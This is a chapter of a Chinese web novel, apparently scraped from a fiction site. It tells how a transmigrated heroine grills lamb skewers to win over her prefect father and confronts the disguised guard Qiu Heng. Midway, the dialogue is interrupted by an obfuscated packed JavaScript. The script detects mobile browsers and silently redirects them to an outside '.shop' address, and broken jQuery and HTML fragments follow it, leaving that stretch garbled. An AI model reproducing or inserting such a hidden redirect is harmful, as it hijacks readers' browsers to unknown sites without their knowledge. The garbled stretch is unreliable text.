文趣网 > 其他小说 > 作者今天吃上女主的软饭了吗 > 10. 想要化身马岱的第二天
    明姌看到秋珩又做出了那个熟悉的动作,一脸嫌弃:“你知道你每次拿暗器的时候,动作都很大吗?”

    很好,掏出来的暗器又被秋珩给塞了回去。

    他就像是那个立志减肥,才进行液断一天,就饿得躺在床上辗转反侧睡不着,起来打开零食柜的一瞬间,被抓包了一样。

    “你可以考虑一下,左右阿爹今天晚上回来知道你住我隔壁院,他一定会过来的。”

    明姌扔下这句话就推门离开了,待她回到自己院中之后,她便与小桃附耳了几句,叫她帮着去备些东西。

    秋珩对自己有所怀疑实属正常,毕竟身为嫌疑人哦不,嫌疑官家属,负责来查实的领导?多少都是要谨慎一点的

    再者,自己被困在这本书里,如果不走完剧情,估计只能等自己嘎了才有可能回去。

    对,只是可能,也有可能是直接嘎了大结局了。

    而且指不定还没等她自然老死,明家就G了,然后她就会被牵连。

    在这种地方,流放那都算是个好下场了,万一是充入教坊……

    像她这种不会琴棋书画的人,要是入了教坊,那就只剩下陪酒这一条道了。

    为了杜绝这种可能,明姌必须想法子保住明家。

    诚如明姌所言,当日明云启甫一回府,周二便上前来同明云启言说了赵纶搬去明姌隔壁之事。

    得知这个晴天霹雳后,明云启立时就吩咐周二喊上人,他立刻就要给那个所谓的表亲挪个住处。

    真是岂有此理,谁家外男借住能直接借住到姑娘家隔壁院里的?

    明云启大步流星,还没行至赵纶院中,就被守在路口蹲点的小桃给拦了下来。

    “大人,二娘子说,她知晓大人会去隔壁院,特意叫婢子在此处候着,请大人务必先去二娘子院中小坐。”

    宝贝闺女着人来请,明云启自然不会拒绝,左右收拾个毛头小子而已,几时都能收拾。

    明云启才步入院门,就见院中支了一个奇怪的玩意儿,四四方方的,而明姌正拿着火钳子往里夹着烧红了的火炭。

    “阿奴!”

    明姌原本夹炭火夹得好好的,凭白被明云启这一声中气十足的吼叫惊了惊,手中的火炭立时掉进了烧烤架子里,惊起火花四射。

    “阿奴,快让阿爹看看,是不是伤着了?阿爹同你说过许多次了,这些东西莫要沾手,你想要什么自管吩咐底下人去做就是了。”

    要没您老那路见不平一声吼,倒还真不至于被烫着。

    明姌缩了缩被烫着的手:“阿爹,阿奴没事,阿奴想给阿爹备些新奇的吃食。”

    明云启眼瞧着明姌继续添炭,明云启立时捂住了胸口,一派心痛不能自已的模样。

    明姌添罢炭,正欲叫小桃将准备好的食材取来,就瞧见明云启一副高反缺氧的模样,正眼角湿润地瞧着自己。

    不至于又要哭吧?

    饭都还没吃到,至于激动到哭吗?

    一州刺史动不动就落泪,这,正常吗?

    明姌宁可相信他是得了什么迎风落泪的病症,好歹不偏离人设。

    明云启确实是要落泪了,但不是激动的,是心疼的。

    自己离宅不过几个月,闺女就已经被逼到需要自己洗手做羹汤的地步了。

    为了避免明云启哭个没完没了,明姌主动给了他一个台阶:“阿爹,这炭火烟气熏着你了吧?”

    “没事,没熏着。”明云启抹了抹泪。

    “那阿爹坐着等等我。”

    羊肉被切成大小均匀的肉丁,一颗颗肥肉相间的肉丁被串在竹签上,一串又一串地被摆在烧烤架上。

    炭火炙烤时,滚烫的油汁从肉丁上沁出,随着明姌翻动肉串的动作,油汁均匀地裹满了整一串肉。

    随着明姌翻动肉串,一声声“滋啦”声此起彼伏,油脂滴落,伴着一缕缕青烟,还有那阵阵四溢的香气,让人不自觉地吞咽了一下口水。

    香味越过院墙,不多时就已经飘到了隔壁院。

    赵纶闻着这诱人的香气,又看了眼面前的餐食,最终还是搁了手中的银箸,指了厉三去把秋珩叫来。

    而另一处,秋珩坐在罗汉床上,目光始终盯着手里的那枚星芒镖。

    明姌先时所言,亦是秋珩所担忧之事。

    今次来元州暗中行事,秋珩已然挑了众多生面孔,加之自己与东朝都从未与明云启正式打过照面,本该不会被发觉才是。

    可现如今一个大门不出二门不迈的小娘子都能瞧出来端倪,那想要瞒过明云启的眼睛,怕是不可能了。

    秋珩思量间,厉三再一次推开门闯了进来。

    好消息是这一次秋珩把手里的星芒镖给接住了,没有让自己的脚趾被二次伤害。

    当然坏消息就是接镖的手掌被扎破了。

    秋珩觉得,厉三真是克他。

    因是受了赵纶的令,厉三入内之后便直截了当同秋珩言明,赵纶寻他。

    知是赵纶之令,秋珩自不好耽搁,再次把血抹到了衣摆上,就去见赵纶了。

    在赵纶絮絮叨叨半盏茶之后,秋珩终于听到了重点。

    他饿了,他要吃隔壁院里的食物。

    太子令,他必须从。

    秋珩迈步离开院门,还没等他想出来如何去讨要食物,就见院门外立了个生面孔的人。

    那人一瞧身形便知是个常年习武的练家子。

    秋珩略想了想,随即后退了几步,打算迂回夺食。

    “阿爹,好吃吗?”

    “好吃,好吃,阿奴……”叽里咕噜,“你……”叽里咕噜。

    看起来是真的吃美了。

    “阿爹,魏家表兄的事,想必你也已经知晓了。”

    “母亲身为主母,她前脚才给魏家表兄安排好了院落,您若后脚就叫人迁去旁处,只怕是伤了母亲的脸面。”

    明云启吃串的动作停下,明姌立时就递了帕子过去让他擦嘴。

    “阿奴,这事你就莫要管了。你一个未出阁的姑娘,怎能跟几个大老爷儿们比邻而居?”

    “朱照瓷的心思我清楚,这事你就莫要管了。”

    朱照瓷便是明夫人的闺名,同人文作者倒是没有把这些人物的名字给改掉,算是不幸中的大幸了。

    “阿爹,府中自有护院,我不会有事的。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914464|213272||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “护院也是男的,他们至多就是在院外巡视罢了,还是不妥当。”

    “阿爹……”

    “你不用说了,这事得听我的。”

    为求明云启松口,明姌都已经装出小娘子扯衣袖来撒娇了。

    结果还是以失败告终。

    明姌鼓着腮帮子,想到之前明云启提起的原身性格,旋即一掌拍到矮桌上:“明云启,你还是不是我爹了!”

    “我,我,我当然是你爹呀。好了好了,都依你。”

    明姌一生气,明云启就没有招了。

    既已达成目的,明姌亦不再作妖,只是尽心尽力当个烤串师傅,将明云启喂到直打饱嗝才停止。

    送走了明云启,明姌又给小桃备了些东西,叫她回房去吃。

    她跟隔壁就隔了一道矮墙,烤串的香味这么大,隔壁肯定早就闻到了。

    而她方才跟明云启的那一席话,想必隔壁院的也是听了去的。

    她直接跟人说要合作,人肯定会怀疑。

    是以,明姌只能用这种迂回的方法。

    若非现在的剧情已经偏离她的设定太多,明姌就能直接说她跟明云启有仇了。

    说自己一心为公未必有人信,说自己跟人有仇,要借机搞死他。

    那一定会有人信。

    果不其然,当明姌再一次烤好了一把肉串,秋珩就从矮墙的另一头翻了过来。

    只不过他也跟着潮流,在翻墙的时候“哎哟”了一声,然后圆润地从墙头滚了下来。

    伴随着一阵“砰!啪!哎哟!噢!”等交织在一起的天籁之音过后,秋珩终于是从泥地里半蹲了起来。

    他沾了泥的手上还渗着血,他脚趾刚愈合没多久的伤口又崩了开来。

    明姌看着他,手上动作不停。

    秋珩也看着他,脚上动作也不停。

    只不过他走起来的时候,像极了一只人形企鹅,只不过是饿瘦抽条版本的。

    秋珩一摇一摆地挪到明姌跟前,明姌扬了扬手里的串:“刚烤好,要吃吗?”

    本着要为东朝觅食的宗旨,秋珩当即伸手去接。

    “哦,你受伤了呀?那得忌口。”

    不等秋珩拿到手里,明姌就把烤串收回去,搁到了盘里。

    挑衅,她又在挑衅!

    “阿爹刚刚要去寻你们,我给拦下来了。”

    明姌并不与秋珩再打那些弯弯绕绕的曲线球,直接一个直球出击。

    “听到了。”秋珩也不客气,直接坐到了矮桌前。

    “你莫要以为涂了张阴阳脸,阿爹就会认不出来。”

    “且不说你们一行几人都是练家子,单是那个安,哦不,魏炎,就他这身形,举国上下怕是也寻不出来几个一样的。”

    秋珩一行人既然敢假扮成朱家表亲过来,想必是笃定明云启认不出来他们。

    可现下自己一个只见过秋珩一次的人,都能分出他的阴阳脸是假的,更何况明云启一个为官多载之人。

    明姌觉得自己的提醒很委婉,但是秋珩敏锐地捕捉到了一个字——安。

    东宫太子赵纶,字子昀,乳名安郎。